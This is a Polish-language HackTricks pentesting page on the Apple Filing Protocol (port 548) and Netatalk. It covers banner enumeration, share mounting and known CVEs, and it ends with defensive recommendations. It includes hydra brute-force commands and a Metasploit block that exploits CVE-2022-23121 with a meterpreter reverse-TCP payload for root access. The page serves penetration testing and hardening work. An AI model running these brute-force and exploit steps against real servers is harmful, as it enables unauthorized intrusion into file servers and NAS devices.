548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Apple Filing Protocol (AFP), dawniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład Apple File Service (AFS). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień w stylu POSIX i ACL, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.

Chociaż AFP został zastąpiony przez SMB w nowoczesnych wersjach macOS (SMB jest domyślnym protokołem od OS X 10.9), nadal można go spotkać w:

  • Środowiskach legacy macOS / Mac OS 9
  • Urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…), które zawierają otwartoźródłowy demon Netatalk
  • Sieciach z mieszanymi systemami operacyjnymi, gdzie Time-Machine-over-AFP jest nadal włączone

Domyślny port TCP: 548 (AFP przez TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeracja

Szybki baner / informacje o serwerze

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Przydatne skrypty NSE dla AFP:

SkryptCo robi
afp-lsWyświetla dostępne wolumeny i pliki AFP
afp-bruteAtak brute-force na hasło logowania AFP
afp-serverinfoWyciąga nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM-y itp.
afp-showmountWyświetla udostępnienia wraz z ich ACL-ami
afp-path-vulnWykrywa (i może wykorzystać) ataki typu directory-traversal, CVE-2010-0533

Skrypt brute-force NSE można połączyć z Hydra/Medusa, jeśli wymagana jest większa kontrola:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Interacting with shares

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (używając afpfs-ng ‑ pakowanego w większości dystrybucji)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Po zamontowaniu pamiętaj, że klasyczne zasoby Maca są przechowywane jako ukryte pliki ._* AppleDouble – często zawierają interesujące metadane, które narzędzia DFIR pomijają.


Powszechne podatności i eksploatacja

Netatalk nieautoryzowany łańcuch RCE (2022)

Kilku dostawców NAS dostarczyło Netatalk ≤3.1.12. Brak sprawdzania granic w parse_entries() pozwala atakującemu na skonstruowanie złośliwego nagłówka AppleDouble i uzyskanie zdalnego dostępu root przed uwierzytelnieniem (CVSS 9.8 – CVE-2022-23121). Pełny opis od NCC Group z PoC wykorzystującym Western-Digital PR4100 jest dostępny.

Metasploit (>= 6.3) zawiera moduł exploit/linux/netatalk/parse_entries, który dostarcza ładunek za pomocą DSI WRITE.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Jeśli cel działa na podatnym firmware QNAP/Synology, udane wykorzystanie skutkuje uzyskaniem powłoki jako root.

Przepełnienie sterty OpenSession w Netatalk (2018)

Starsze wersje Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza zakresem w obsłudze DSI OpenSession, co pozwala na wykonanie nieautoryzowanego kodu (CVE-2018-1160). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.

Inne istotne problemy

  • CVE-2022-22995 – Przekierowanie symlinków prowadzące do zapisu dowolnych plików / RCE, gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Przechodzenie przez katalogi w Apple Mac OS X 10.6 AFP (wykryte przez afp-path-vuln.nse).
  • Naprawiono wiele błędów związanych z bezpieczeństwem pamięci w Netatalk 4.x (2024) – zaleca się aktualizację zamiast łatania poszczególnych CVE.

Rekomendacje obronne

  1. Wyłącz AFP, chyba że jest to ściśle wymagane – użyj zamiast tego SMB3 lub NFS.
  2. Jeśli AFP musi pozostać, zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x, lub zastosuj firmware dostawcy, który wprowadza poprawki z lat 2022/2023/2024.
  3. Wymuś Silne UAM (np. DHX2), wyłącz logowanie w czystym tekście i gości.
  4. Ogranicz TCP 548 do zaufanych podsieci i umieść AFP w VPN, gdy jest wystawione zdalnie.
  5. Okresowo skanuj za pomocą nmap -p 548 --script afp-* w CI/CD, aby wykryć nieautoryzowane / obniżone urządzenia.

Brute-Force

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks